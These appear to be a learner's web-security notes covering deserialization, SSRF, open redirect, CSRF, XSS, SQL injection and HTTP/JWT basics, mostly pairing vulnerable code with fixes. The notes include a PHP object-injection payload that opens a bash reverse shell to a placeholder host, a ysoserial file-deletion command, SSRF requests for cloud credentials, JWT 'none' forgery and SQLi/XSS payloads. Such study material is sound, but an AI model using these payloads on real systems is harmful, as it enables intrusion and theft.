Now Loading ...
-
Insecure Deserlization
Serialization
is the process of converting a complex data structures, such as objects and their fields.
Serializing data makes it much simpler to:
Write complex data to inter-process memory, a file, or a database.
Send complex data, for example, over a network, between different components of an application, or in an API call.
Some languages serialize objects into binary formats.
all of the original object’s attributes are stored in the serialized data stream, including any private fields.
Used for storing and transferring data.
Insecure deserialization
deserialization vulnerabilities can be as easy as changing an attribute in a serialized object , identify and edit interesting attribute values. You can then pass the malicious object into the website via its deserialization process
Used to
1- RCE
2- privilege escalation
3- file access
4- DOS attack
5- Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context.
How to identify?
data flow in request
PHP serialization
in code:
$user->name = "carlos";
$user->isLoggedIn = true;
after selialization:
`O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}`
O:4:"User" - An object with the 4-character class name "User"
2 - the object has 2 attributes
s:4:"name" - The key of the first attribute is the 4-character string "name"
s:6:"carlos" - The value of the first attribute is the 6-character string "carlos"
s:10:"isLoggedIn" - The key of the second attribute is the 10-character string "isLoggedIn"
b:1 - The value of the second attribute is the boolean value true
Magic methods in PHP
https://www.php.net/manual/en/language.oop5.magic.php
• you create exploits that pass data into dangerous methods automatically.
• Magic methods are a common feature of OOP like __destruct() or __construct() .
• Some languages have magic methods that are invoked automatically during the deserialization process, For example, PHP’s unserialize()method looks for and invokes an object’s __wakeup()magic method.
In decoded session
O:4:"User":2:{s:8:"username";s:6:"carlos";s:7:"isAdmin";b:0;} —>change 0 to 1
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:20:"ej9jdijdf9efje9eof9j9f";}
—> change to O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
in case the access_token or password doesn’t start with number so we can instead value with 0
0 == "Example string" // true in PHP
Arbitrary object injection in PHP
We need source code to create and inject a malicious serialized object to do specific function
notice the CustomTemplate class contains the __destruct()magic method. This will invoke the unlink() method on the lock_file_path attribute, unlink() method to delete file
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
scenario
O:18:"PHPObjectInjection":1:{s:6:"inject";s:13:"system('id');";}
->
O:18:"PHPObjectInjection":1:{s:6:"inject";s:71:"system('/bin/bash -c \'bash -i >& /dev/tcp/ip/port 0>&1\'');";}
Java Serialization
Example :
1- Item java : have code for class named Item
2- Serialize.java : conatin the serialization logic
Java objects always begin with the same bytes, which are encoded as ac edin hexadecimal andrO0 in Base64 which is a standard java serialization format signature.
Any class that implements the interface java.io.Serializable can be serialized and deserialized
readObject()method, which is used to read and deserialize data from an InputStream
In Java deserialization , a readObject()method declared in exactly this way acts as a magic method that is invoked during deserialization
how to identify it ?
search for object that it’s magic bytes rO0
ysoserial (Java Deserialization)
java -jar path/to/ysoserial.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64
mitigation
1- user input should never be deserialized at all.
2- Use a cryptographic library to generate a signature for the object and validate it prior to deserializing the returned object.
3- Don’t use unserialize() function with user input, use JSON functions instead.
—
-
-
-
Server-Side Request Forgery
Description
Server-Side Request Forgery (SSRF) is a vulnerability that allows an attacker to make the server perform unauthorized requests to internal or external systems. The attacker can leverage this to bypass network restrictions, access internal systems, or exfiltrate sensitive data.
How SSRF Works
SSRF occurs when an application takes user input and uses it to form a request to another server, without sufficient validation. This can be exploited in various ways:
Internal Network Scanning: The attacker can use the server to scan and map the internal network.
Accessing Internal Services: The attacker can interact with internal services that are not exposed to the external network.
Exfiltrating Data: The attacker can use the server to send data to an external system.
Real-World Scenarios
Cloud Metadata Service Access:
Many cloud providers offer a metadata service that provides information about the instance. This service is usually accessible at a well-known IP address. An attacker can exploit SSRF to access this service and retrieve sensitive information, such as access tokens.
Example: ```php <?php if (isset($_GET['url'])) {
$url = $_GET['url'];
$content = file_get_contents($url);
echo $content; } else {
echo "No URL provided."; } ?> ``` Attack: ```ruby http://example.com/vulnerable.php?url=http://169.254.169.254/latest/meta-data/ ``` The attacker can access the cloud instance metadata and potentially retrieve sensitive data like IAM roles and temporary credentials. Interacting with Internal APIs: Many applications have internal APIs that are not exposed to the public internet but are accessible internally. An attacker can use SSRF to interact with these APIs. Example: ```php <?php if (isset($_GET['url'])) {
$url = $_GET['url'];
$content = file_get_contents($url);
echo $content; } else {
echo "No URL provided."; } ?> ``` Attack: ```bash http://example.com/vulnerable.php?url=http://localhost/admin/api ``` The attacker can potentially perform administrative actions by interacting with the internal API. Port Scanning: SSRF can be used to scan for open ports on the internal network. By crafting requests to different ports, an attacker can identify open services. Example: ```php <?php if (isset($_GET['url'])) {
$url = $_GET['url'];
$content = file_get_contents($url);
echo $content; } else {
echo "No URL provided."; } ?> ``` Attack: ```bash
http://example.com/vulnerable.php?url=http://localhost:8080 ```
The attacker can determine if a service is running on port 8080.
Case Study: Capital One Breach
One of the most notable examples of SSRF exploitation was the Capital One breach in 2019. The attacker exploited an SSRF vulnerability in a web application firewall (WAF) hosted on AWS. By leveraging SSRF, the attacker accessed the AWS metadata service to obtain temporary credentials, which were then used to access sensitive data stored in S3 buckets.
Key Points of the Attack:
Initial Exploit: The attacker sent a request that exploited the SSRF vulnerability, targeting the AWS metadata service.
Credential Theft: By accessing the metadata service, the attacker retrieved AWS IAM credentials.
Data Exfiltration: Using the stolen credentials, the attacker accessed and exfiltrated data from S3 buckets. Exploitation Path
SSRF Exploit: ```ruby http://vulnerable-app.com/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ Credential Access: ```ruby http://vulnerable-app.com/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name ``` S3 Data Access: ```bash aws s3 ls s3://sensitive-data-bucket --profile stolen-credentials ```
Mitigation
Whitelist Valid URLs
Only allow requests to a predefined set of trusted domains. This ensures that any request made by the application is to a safe and known destination.
```php
<?php
$whitelisted_domains = [‘example.com’, ‘api.example.com’];
if (isset($_GET[‘url’])) {
$url = $_GET[‘url’];
$parsed_url = parse_url($url);
if (in_array($parsed_url['host'], $whitelisted_domains)) {
$content = file_get_contents($url);
echo $content;
} else {
echo "Invalid URL.";
} } else {
echo "No URL provided."; } ?> ``` 2. Validate and Sanitize Input Ensure that the URL provided by the user is valid and adheres to your expectations. This involves checking the URL's scheme, host, and structure. ```php <?php function validate_url($url) {
$parsed_url = parse_url($url);
if ($parsed_url === false) {
return false;
}
$allowed_schemes = ['http', 'https'];
if (!in_array($parsed_url['scheme'], $allowed_schemes)) {
return false;
}
return true; }
if (isset($_GET[‘url’])) {
$url = $_GET[‘url’];
if (validate_url($url)) {
$content = file_get_contents($url);
echo $content;
} else {
echo "Invalid URL.";
} } else {
echo "No URL provided."; } ?> ``` 3. Block Private IP Ranges Prevent the server from making requests to internal IP addresses. This helps to stop the server from accessing internal services and sensitive resources. ```php <?php function is_private_ip($ip) {
$private_ips = [
'10.0.0.0|10.255.255.255',
'172.16.0.0|172.31.255.255',
'192.168.0.0|192.168.255.255',
'127.0.0.0|127.255.255.255'
];
$ip_long = ip2long($ip);
if ($ip_long != -1) {
foreach ($private_ips as $private_ip) {
list($start, $end) = explode('|', $private_ip);
if ($ip_long >= ip2long($start) && $ip_long <= ip2long($end)) {
return true;
}
}
}
return false; }
if (isset($_GET[‘url’])) {
$url = $_GET[‘url’];
$parsed_url = parse_url($url);
$host = $parsed_url[‘host’];
$ip = gethostbyname($host);
if (is_private_ip($ip)) {
echo "Invalid URL.";
} else {
$content = file_get_contents($url);
echo $content;
} } else {
echo "No URL provided."; } ?> ``` By implementing these three strategies—whitelisting valid URLs, validating and sanitizing input, and blocking private IP ranges—you can significantly reduce the risk of SSRF vulnerabilities in your application ---
-
Open Redirect
Description
Open redirects occur when a website redirects users to a URL specified via a parameter without sufficient validation. This can allow attackers to manipulate the parameter to redirect users to malicious sites. This post will discuss the mechanisms of open redirects, their risks, and how to prevent them..
Websites often redirect users automatically, especially in scenarios where unauthenticated users try to access restricted pages. For instance, a user trying to access https://example.com/dashboard might be redirected to https://example.com/login to log in first. To return the user to their intended page after logging in, the site might use a URL parameter to remember the original location, such as:
https://example.com/login?redirect=https://example.com/dashboard
Open Redirect Attack
An attacker can exploit this mechanism by tricking users into visiting a malicious site via a legitimate-looking URL:
https://example.com/login?redirect=https://attacker.com
Users might click this link, believing it leads to a legitimate page, only to be redirected to a malicious site, enabling attackers to perform phishing attacks.
Referer-Based Redirect
Some sites use the Referer HTTP header to determine the original location of the user. An attacker can exploit this by creating a page that sets the Referer header to their malicious site, causing the user to be redirected there after visiting the legitimate site. An example HTML might look like:
<html>
<a href="https://example.com/login">Click here to log in to example.com</a>
</html>
When a user clicks the link, the href attribute specifies the redirect target.
Risks
Open redirects can lead to several security issues:
Phishing Attacks: Users are tricked into entering their credentials on a malicious site.
Loss of Trust: Users may lose trust in the legitimate site if they fall victim to an open redirect attack.
Escalation of Other Attacks: Open redirects can be used in combination with other vulnerabilities to escalate attacks.
Mitigation
URL Validation To prevent open redirects, the server must validate redirect URLs to ensure they are legitimate. This can be done using blocklists or allowlists:
Blocklist: The server checks the redirect URL for known malicious indicators or special characters and blocks those requests.
Allowlist: The server ensures the redirect URL matches a list of allowed hosts. If it does, the redirect proceeds; otherwise, it is blocked.
—
-
Cross-Site Request Forgery
Description
CSRF Allows an attacker to induce users to perform actions that they do not intend to perform.
We can find it in (Email - Password)
Impact
For example, this might be to change the email address on their account, to change their password, or to make a funds transfer. Depending on the nature of the action, the attacker might be able to gain full control over the user’s account.
CSRF POC generator
right-click on the request and select Engagement tools / Generate CSRF PoC.
Enable the option to include an auto-submit script and click “Regenerate”.
You can get the request URL by right-clicking and selecting “Copy URL”.
way:
remove referer header and send request and check response
remove original header and send request and check response
remove csrf token and send request and check response
try to change request method
scenarios
1- bypass CSRF token validation
switch POST to the GET method to bypass the validation and deliver a CSRF attack
switch method to get
delete CSRF token
Delete CSRF token
CSRF where token is not tied to user session
That means u can use user’s token to another user
CSRF where token is tied to non-session cookie
That means if u have sessions and csrf-key and csrf token, and as you see csrf token is different to csrfkey , so they are not generate from the same generator
the session is no tied to csrfkey, but csrf key is tied to csrf token , so if we take csrf token from another user it will not work but i we take csrf key and csrfkey from another user it will work
CSRF where token is duplicated in cookie
That mean u have csrf in cookie and as a parameter , the trick here is the backend check if the csrf in cookie is equal to csrf in parameter
so we can put any thing similar in the both
2- Bypass Referer validation
Remove referer header
if u can remove referer header so when u generate this csrf poc so you have to add “head”
CSRF with broken Referer validation
In this case compare between host and referer if referer has the host value
but in this case we can abuse the referer such as: https://burpsuite/?ac741ffc1f0c0780801b…………
in this case the request will accept it.
csrf poc
https://portswigger.net/web-security/csrf/lab-referer-validation-broken
Auto-submitting form
first
second
third
Mitigation:
CSRF tokens : A CSRF token is a unique, secret, and unpredictable value that is generated by the server-side application and shared
with the client.
Referer-based validation
-
XSS From Developer's Perspective
Description
Cross-Site Scripting (XSS) is a security vulnerability typically found in web applications that allows attackers to inject malicious scripts into content from otherwise trusted websites. These scripts can then execute in the context of another user’s session, potentially stealing information or performing actions on behalf of the user.
we will know more about this vulnerability but from a developer’s perspective
Vulnerable code
Attack Scenario
Mitigation
Types of XSS
Stored XSS: The malicious script is permanently stored on the target server, such as in a database, comment field, or any other data storage.
Reflected XSS: The script is reflected off a web server, such as in an error message, search result, or any other response that includes some part of the request.
DOM-Based XSS: The vulnerability exists in the client-side code rather than the server-side code.
Stored XSS in PHP
we have a php app that allows users to post comments
Vulnerable Code
<?php
$conn = new mysqli('localhost', 'username', 'password', 'database');
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error);
}
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$comment = $_POST['comment'];
$sql = "INSERT INTO comments (comment) VALUES ('$comment')";
$conn->query($sql);
}
$sql = "SELECT comment FROM comments";
$result = $conn->query($sql);
while ($row = $result->fetch_assoc()) {
echo $row['comment'] . "<br>";
}
$conn->close();
?>
In this code, the comment is taken directly from the user input and inserted into the database without any sanitization or escaping. When displaying the comments, the script is executed if it contains JavaScript.
Attack Scenario
<script>alert('XSS');</script>
This comment would be stored in the database and executed whenever a user visits the page displaying the comments.
Mitigation
To mitigate xss, we need to sanitize and escape user input via functions like htmlspecialchars to escape HTML characters like this:
$comment = htmlspecialchars($_POST['comment'], ENT_QUOTES, 'UTF-8');
htmlspecialchars escape HTML characters
ENT_QUOTES replace quote " ->"
Reflected XSS in PHP
Vulnerable Code
<?php
if (isset($_GET['name'])) {
echo "Hello, " . $_GET['name'] . "!";
}
?>
the name is taken directly from the user input and reflected without any sanitization
Attack Scenario
An attacker could trick a user into clicking a URL like this:
http://example.com/page.php?name=<script>alert('XSS');</script>
when the user clicks the link, the script will execute in the user’s browser
Mitigation
Again, htmlspecialchars should be used to sanitize the input:
<?php
if (isset($_GET['name'])) {
echo "Hello, " . htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8') . "!";
}
?>
By escaping special characters, we ensure that any input provided in the name parameter is treated as plain text rather than executable code
DOM-Based XSS
Vulnerable Code
<!DOCTYPE html>
<html>
<body>
<input id="userInput" type="text" value="<?php echo $_GET['name']; ?>">
<script>
var userInput = document.getElementById('userInput').value;
document.write("Hello, " + userInput);
</script>
</body>
</html>
in this code,Unsanitized User Input in HTML then direct usage of this input in JavaScript
Attack Scenario
An attacker could trick a user into clicking a URL like this:
http://example.com/page.php?name=<script>alert('XSS');</script>
This would result in the script being executed on the client side.
Mitigation
To prevent DOM-based XSS, avoid using document.write and use safer methods to manipulate the DOM, like textContent or proper escaping functions.
<!DOCTYPE html>
<html>
<body>
<input id="userInput" type="text" value="<?php echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8'); ?>">
<script>
var userInput = document.getElementById('userInput').value;
var textNode = document.createTextNode("Hello, " + userInput);
document.body.appendChild(textNode);
</script>
</body>
</html>
In this secured version:
The PHP code escapes the input before outputting it into the HTML.
The JavaScript code uses createTextNode to safely insert the text into the document.
In general,to prevent xss
Always sanitize and escape user input.
Use functions like htmlspecialchars to convert special characters to HTML entities.
Avoid using dangerous functions like document.write in client-side scripts.
Validate and sanitize inputs on both server-side and client-side
-
SQL Injection
Description
SQL Injection (SQLi) is a common security vulnerability that allows attackers to manipulate SQL queries executed by a web application. This can lead to unauthorized access to the database, data theft, or data manipulation. From a developer’s perspective, understanding how SQLi works and how to prevent it is crucial.
How SQL Injection Works
SQL Injection occurs when user input is not properly sanitized and is directly used in SQL queries. This allows an attacker to inject malicious SQL code into the query, which can change its intended behavior.
Example of SQL Injection Vulnerability
Consider the following PHP code snippet, which is vulnerable to SQL injection:
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $query);
if (mysqli_num_rows($result) > 0) {
echo "Login successful!";
} else {
echo "Invalid username or password.";
}
?>
In this code, the user input ($username and $password) is directly used in the SQL query. An attacker can manipulate this input to alter the query. For example, if the attacker enters the following as the username:
' OR 1=1 --
The resulting query becomes:
SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = ''
The -- denotes a comment in SQL, so everything after it is ignored. This effectively changes the query to:
SELECT * FROM users WHERE username = '' OR 1=1
Since 1=1 is always true, the query will return all rows in the users table, potentially allowing the attacker to log in as any user.
Types Of SQLI
SQL Injection (SQLi) comes in various forms, each exploiting different aspects of SQL queries and database interactions. Here are the main types of SQLi:
Classic SQL Injection
Classic SQL Injection, also known as in-band SQL Injection, involves using the same communication channel for both the attack and the data retrieval. This is the most common type of SQLi.
SELECT * FROM users WHERE username = 'user' OR '1'='1' --' AND password = 'pass';
Error-based SQL Injection
Error-based SQL Injection leverages error messages returned by the database to gather information about the database structure.
SELECT * FROM users WHERE id = 1 AND 1=CONVERT(int, (SELECT @@version));
Union-based SQL Injection
Union-based SQL Injection uses the UNION SQL operator to combine the results of two or more SELECT queries into a single result, allowing an attacker to retrieve data from different tables.
SELECT id, username, password FROM users WHERE id = 1 UNION ALL SELECT NULL, version(), NULL;
Blind SQL Injection
Blind SQL Injection occurs when the database does not return error messages or data, making it difficult to exploit. Attackers infer information by observing the behavior of the application.
a. Boolean-based Blind SQL Injection
This technique involves sending SQL queries that result in true or false conditions and observing the application’s behavior.
SELECT * FROM users WHERE username = 'admin' AND 1=1 -- ' AND password = 'pass';
SELECT * FROM users WHERE username = 'admin' AND 1=2 -- ' AND password = 'pass';
b. Time-based Blind SQL Injection
This technique involves sending SQL queries that cause a time delay if the condition is true, allowing the attacker to infer information based on the time it takes for the response.
SELECT * FROM users WHERE IF(username='admin' AND SLEEP(5), 1, 0) -- ' AND password = 'pass';
Preventing SQL Injection
To prevent SQL Injection, you should always use prepared statements and parameterized queries. Here’s how you can modify the above code to use prepared statements with the mysqli extension:
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
echo "Login successful!";
} else {
echo "Invalid username or password.";
}
$stmt->close();
?>
In this example:
the prepare method creates a prepared statement,
bind_param binds the user input to the statement.
The ss argument specifies that both parameters are strings.
Prepared statements ensure that the user input is treated as data and not as part of the SQL query
—
-
How the Internet works
Client-Server Model
The internet is composed of two kind of devices clients and servers
Clients: request resources and servvices from the server
Server: Provide those resources & services
EX:
when you open your browser(firefox) and visit a web site ,it acts as a client and request web page from web server
Then the server will provide this page to the browser
Domain Name System (DNS)
How do your browser know where to find these resources?
every device connected to the internet has a unique IP
IP addresses are made up of numbers and letters that are hard for humans
to remember. For example
IPv4 looks like this: 123.45.67.89
IPv6 looks even more complicated: 2001:db8::ff00:42:8329
This is where the Domain Name System DNS comes in. Think of a DNS server as the internet’s directory, converting domain names into IP addresses. When you input a domain name into your browser, the DNS server’s job is to translate that name into an IP address. In other words, your browser queries the DNS server, asking, “What is the IP address for this domain?
Internet Ports
After your browser obtains the correct IP address, it will attempt to connect to that IP address via a port.
So what is port ??
a logical division on devices that identifies a specific network service. We identify ports by their port numbers, which can range from 0 to 65,535
Ports allow a server to provide multiple services to the internet at the same time
HTTP Requests and Responses
Once a connection is established, the browser and server communicate via
the HyperText Transfer ProtocolHTTP.
HTTP is a set of rules that specifies how web clients and web servers should exchange information
consists of an HTTP request and an HTTP response
let’s start by HTTP request here is an examble we will analisys it
GET / HTTP/1.1
Host: www.google.com
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml
Accept-Language: en-US
Referer: https://mdsec.net/auth/488/Home.ashx
Connection: Keep-Alive
Cookie: SessionId=5B70C71F3FD4968935CDB6682E545476
The first line of every HTTP request consists of three items, separated by spaces:
A verb indicating the HTTP method:
GET: To retrieve data from the server
POST: To submit data to the server
PUT : attempts to upload the specified resource to the server
OPTIONS:returns information about the server method used
The requested URL.
The HTTP version being used, Common version 1.0 & 1.1
The rest of the lines are HTTP request headers. These are used to pass
additional information about the request to the server.
The Cookie header: is used to send cookies from the client to the server
HTTP Response
The first line of an HTTP response contains two fields:HTTP versionandHTTP response code
The next lines contain HTTP header value similar to an http request
response body is usually like: HTML code, JSON, scripts or a PDF document hosted on the webserver
HTTP Response Codes
2xx: when a request succeeds like 200 OK.
3xx: when the server redirects the client like 302 Found.
4xx: when requesting a resource that doesn’t exist or requesting a bad format like
400 Bad Request, 403 Forbidden and 404 Not Found.
5xx: when there is some problem with HTTP server itself like 500 Internal Server Error
Encoding
Our data can’t be transmitted in the form of plain text.So websites encode their messages to prevent data corruption
there are many ways to encode the data
Base64 Encoding
make data safely user creds by using ASCII charactersEX: Q29udGVudCBFbmNvZGluZw==
Hexadecimal Encoding
representing characters in a base-16 format 0 - F
URL Encoding
Each character in a URL-encoded string can be represented by its designated hex number preceded by a % symbol EX: %6c%6f%63%61%6c%
Session Management and HTTP Cookies
when the user Login to the website a new session starts & server assign session ID for your browser as a Cookie
the user has to re-login every time he close the website tab??
No, because the website remembers his session
Session management: process that allows the server to handle multiple requests from the same user without asking the user to log in again
HTTP Cookies: as we said its the session ID that the server sent it to our browser after login.
After receiving a cookie, your browser stores it and include it in every request to the same server, That’s how the server knows it’s you!
Token-Based Authentication
In session-based authentication, the server stores your information and uses a corresponding session ID to validate your identity.
token-based authentication system stores this info directly in some sort of token. Instead of storing your information server-side and querying it using a session ID.
tokens allow servers to deduce your identity by decoding the token itself.
to protect the tokens from tampering and modification we have two ways
encrypt the tokens
use Signatuers -> userd to verify the integrity of a piece of data
the steps of this process:
the user logs in with their credentials
server validates those credentials and provides the user with a
signed token.
user sends the token with every request to prove their identity
Upon receiving and validating the token, the server reads the user’s identity information from the token and responds with confidential data.
JSON Web Tokens JWT
one of the most commonly used types of authentication tokens. It has three components: header, a payload, and a signature
The header identifies the algorithm used to generate the signature.
{ "alg" : "HS256", "typ" : "JWT" }
The payload section contains information about the user’s identity
{"id": "15", "name": "mostafa"}
the signature section validates that the user hasn’t tampered with
the token. It’s calculated by concatenating the header with the payload
4Hb/6ibbViPOzq9SJflsNGPWSk6B8F6EqVrkNjpXh7M
For this specific token, the signature was generated by signing the string
eyBhbGcgOiBIUzI1NiwgdHlwIDogSldUIH0K.eyB1c2VyX25hbWUgOiBhZG1pbiB9Cg`
with the HS256 algorithm using the secret key. The complete token concatenates each section (the header, payload, and signature), separating them with a period (.):
eyBhbGcgOiBIUzI1NiwgdHlwIDogSldUIH0K.eyB1c2VyX25hbWUgOiBhZG1pbiB9Cg.4Hb/6ibbViPOzq9SJflsNGPWSk6B8F6EqVrkNjpXh7M
But what if implemented incorrectly..??
attacker can bypass the security mechanism and forge arbitrary tokens.
Manipulating the alg Field
Sometimes applications fail to verify a token’s signature after it arrives at
the server. This allows an attacker to simply bypass the security mechanism
by providing an invalid or blank signature:
If the alg field is set to none, even tokens with empty signature sections would be considered valid.
{ "alg" : "none", "typ" : "JWT" } { "user" : "admin" }
two most common types of signing algorithms used for JWTs are HMAC and RSA.
HMAC: requires the token to be signed with a key and then later verified with the same key.
RSA: the token would first be created with a private key, then verified with the corresponding public key, which anyone can read.
Same Origin Policy (SOP)
SOP is : a script from page A can access data from page B only if the
pages are of the same origin (same protocol , same hostname & same port)
but there is like CORS HEADER allow access for some sites
ex: Access control allow origin: siteA.com , siteB.com
this mean that the server told the browser that this site can access data.
Thank you for reading..!
Touch background to close